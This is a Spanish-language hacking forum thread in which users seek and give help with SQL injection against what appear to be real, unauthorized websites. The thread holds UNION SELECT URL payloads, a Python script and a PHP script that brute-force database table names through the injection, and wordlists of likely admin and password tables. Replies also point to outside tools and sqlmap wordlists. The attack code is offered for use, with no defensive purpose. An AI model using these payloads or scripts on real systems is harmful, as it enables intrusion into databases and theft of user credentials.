Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: flowskull en 24 Julio 2009, 04:26 am



Título: (DUDA) Haciendo SQL Injection.
Publicado por: flowskull en 24 Julio 2009, 04:26 am
Buenas antes que nada un saludo a todos, mi problema es el siguiente, estoy haciendo "SQL Injection" a una web y me quede estancado por asi decirlo en un paso:


Informacion que he logrado sacar.

Numero de tablas = 7
Mysql Version = 4.1.20
Nombre de la db = emotiu
Usuario de la db = emotiu@localhost
tables visibles = 4,5,6


Ok todo bien hasta alli, pero ahora que hago? intente con éste codigo:

http://www.prueba.com/html/noticia.php?id=-11+union+select+1,2,3,group_concat(table_name),5,6,7+from+information_schema.tables

Y el resultado es:

¡¡ERROR!!: SELECT command denied to user 'emotiu'@'localhost' for table 'tables'
SELECT * FROM noticias WHERE id_noticia = -11 union select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables

Mi duda está muy clara, si probando de esa forma me da acceso denegado, entonces que puedo usar para lograr saber almenos las tablas, o una recomendacion logica qe me den, creo que tienen la info suficiente jeje un saludo.


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: Darioxhcx en 24 Julio 2009, 04:42 am
Mysql Version = 4.1.20

esa version no soporta information_schema hasta donde se...
saludos


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: flowskull en 24 Julio 2009, 04:59 am
bueno entonces podrias darme algunos tips?


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: flowskull en 24 Julio 2009, 16:53 pm
bueno se supone que si la version 4 no soporta la information_schema y la 5 si.. entonces la 4 es mayor vulnerable cierto? me pueden ayudar?


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: Darioxhcx en 25 Julio 2009, 01:11 am
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_17609-t244090.0.html


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: OzX en 25 Julio 2009, 02:13 am
Desde la version 5.x , mysql tiene la db information_schema.
Tienes que hacer fuerza bruta para indentificar las tablas.
Saludos¡


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: aagos en 30 Julio 2009, 01:15 am
Hola OzX la fuerza bruta para indentificar las tablas se puede hacer desde la URL o tendria que ser con scripts?


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: 08l00D en 30 Julio 2009, 01:31 am
Hola OzX la fuerza bruta para indentificar las tablas se puede hacer desde la URL o tendria que ser con scripts?
podes hacerlo a mano o con un script ya sea en ruby, python, perl etc... es facil lo unico que tenes que hacer es tener una buena lista con nombres de tablas mas comunes o que sean posible que este y pones todo en un array de cadenas lo que seria en python una 'lista'... y vas abriendo la web en un bucle tipo:
http://www.prueba.com/html/noticia.php?id=-11+union+select+1,2,3,4,5,6,7+from+LISTA[ITERADOR]
y por cada resultado si por ejemplo la web te tira un Table 'LISTA[ITERADOR]' doesn't exist ... aumentar el iterador en uno y que siga con el bucle hasta que encuentre una con la que no tire el error entonces la imprimis en la pantalla y listo al menos eso haria yo...
tambien podes hacer lo mismo pero manualmente ir probando con tablas que se te ocurran pero eso si que es un huevo  :xD ...


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: aagos en 30 Julio 2009, 01:41 am
pues me temo que tendre que hacerlo a mano jajajajja porque no se nada de ruby, python, ni de perl muchas gracias porcierto se sabe de alguna vulnerabilidad conocida en MySQL 5.0.27 ?


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: 08l00D en 30 Julio 2009, 02:10 am
bueno basicamente seria algo asi.... esta en python
Código
  1. import urllib2
  2.  
  3. url = raw_input("Introduce la url + el path vulnerable\n\tejemplo: www.ejemplo.com/xxxx.php?id=\n")
  4.  
  5. tablas = ['admin','tblUsers', 'tbl_users', 'tbl_admin',,'tblAdmin','user','users','username','usernames','usuario',
  6. 'name','names','nombre','nombres','usuarios','member','members','admin_table',
  7. 'miembro','miembros','membername','admins','administrator',
  8. 'administrators','passwd','password','passwords','pass','Pass',
  9. 'user_password', 'usua_login','user_passwords','user_name','user_names',
  10. 'member_password','mods','mod','moderators','moderator','user_email',
  11. 'user_emails','user_mail','user_mails','mail','emails','email','address',
  12. 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  13. 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  14. 'u_password','nick','nicks','manager','managers','administrador',
  15. 'administradores','clave','login_id','pwd','pas','sistema_id',
  16. 'sistema_usuario','sistema_password','contraseña','auth','key','senha',
  17. 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','tb_users','tb_user','tb_sys','sys',
  18. 'fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors',
  19. 'accounts','account','accnts','accnt','customers','customer','membres','administrateur','utilisateur','utilisateurs',
  20. 'password','passwords','amministratore','god','God','authors','autores','membername','usuario','Users','Admin','Members',
  21. 'Miemberos','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER', 'username', 'user_hash']
  22.  
  23. inyeccion = "-11+union+select+1,2,3,4,5,6,7+from+"
  24.  
  25. for tabla in tablas:
  26. web = urllib2.urlopen(url + inyeccion + tabla)
  27. source = web.read()
  28. error = "Table 'emotiu." + str(tabla) + "' doesn't exist"
  29. if not error in source:
  30. print "Tabla %s se encuentra en la base de datos" % tabla
  31.  
  32. print "Fin xd"
  33.  
  34.  

Por cierto la lista de tablas esa no es mia la saque de otro script que vi por ahi ....


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: aagos en 30 Julio 2009, 14:33 pm
uff muchas gracias soy incapaz de compilar el codigo me da siempre "invalid syntax" voy a probar otros metodos


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: Novlucker en 30 Julio 2009, 15:43 pm
No he probado el code, pero veo un raw_input que no funciona en la última versión de python (se ha sustituído), cambialo por input.
Además el print debe de llevar paréntesis, pero bueno, si no tienes idea de esto mejor hacerlo a mano :P

Saludos


Citar
Edite mi post para agregar el otro problema del script, no iba a poner otro porque básicamente no agrega mucho más al tema del SQL injection


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: aagos en 30 Julio 2009, 16:14 pm
Tampoco amigo Novlucker pero gracias

Una ultima cosa todas las inyecciones las estoy haciendo desde URL modificando algunos parametros con el Tamper Data la base de datos es MySQL 5.0.27 y casi todas las inyecciones me devuelven:

Este fichero XML no parece tener ninguna información de estilo asociada. Se muestra debajo el árbol del documento.
      

<datos>
<resultado>-4</resultado>
</datos>


He llegado asta aqui "/admin/index.php?sc=fli" pero no consigo sacar ningun dato nisiquiera me da ningun error"
Gracias


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: MagnoBalt en 30 Julio 2009, 19:05 pm
Hola aagos. Ahi te paso un Script en Perl hecho por Loggin-root. Si estas en Linux no tendras ningun drama con perl pero en widnows tenes que bajarte el interprete.. Busca en Google..
Aqui va el Link.. valga la redundancia esta codeado en perl

http://argentinasec.blogspot.com/2008/07/sql-pw-v07-by-login-root.html (http://argentinasec.blogspot.com/2008/07/sql-pw-v07-by-login-root.html)


Saludos!!


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: aagos en 30 Julio 2009, 22:19 pm
Muchas gracias estoy aprendiendo muchisimo


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: negretei22 en 27 Marzo 2012, 19:26 pm
Ya pude obtener la tabla de admin con un codigo SQL para php que hice, ahora los campos lo tengo que hacer de la misma manera??? con algun diccionari ode campos y probando campo por campo? a continuacion les dejo el codigo que hice...


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<?
$pagina="http://www.susitio.com/consejos_detalle.php?advice_id=-2%20UNION/*!%20SELECT*/%201,version%28%29,3,4,5,6,7,8,9,10%20from%20users##";
$tablas=array("admin","tblUsers","tbl_users","tbl_admin","tblAdmin","user","users","username","usernames","usuario","name","names","nombre","nombres","usuarios","member","members","admin_table","miembro","miembros","membername","admins","administrator","administrators","passwd","password","passwords","pass","Pass","user_password","usua_login","user_passwords","user_name","user_names","member_password","mods","mod","moderators","moderator","user_email","user_emails","user_mail","user_mails","mail","emails","email","address","e-mail","emailaddress","correo","correos","phpbb_users","log","logins","login","registers","register","usr","usrs","banners");
echo "Leidas: " .count($tablas) ." palabras<br>";

/*$contenido = file($pagina);

$fp = fopen($contenido,"r") or die("OPEN");
echo $fp;*/
echo "<table><tr><td>Tabla</td><td>Resultado</td></tr>";
for($x=0;$x<count($tablas);$x++){
$pagina="http://www.susitio.com/consejos_detalle.php?advice_id=-2%20UNION/*!%20SELECT*/%201,9999,3,4,5,6,7,8,9,10%20from%20".$tablas[$x]."##";
      $fp = fopen($pagina, 'r');
        $content = '';
        while ($l = fread($fp, 1024)) $content .= $l;
        fclose($fp);
      $encuentra = strpos($content, "doesn't exist");
      if($encuentra)
      echo "<tr><td>".$tablas[$x]."</td><td>NO</td></tr>";
      else
      echo "<tr><td>".$tablas[$x]."</td><td><a href='sacacampos.php?pagina=".$pagina."'>SI</td></tr>";
      
      
}

      
?>
</body>
</html>


Saludos!


Título: Re: (DUDA) Haciendo SQL Injection.
Publicado por: afdlkglfgfdgfhgf en 1 Abril 2012, 23:57 pm
te aporto con los common-columns , common-table y common-output , que trae por defecto sqlmap para que lo agregues en tu script.

http://www.2shared.com/file/e64Q8TWE/common.html


suerte ;).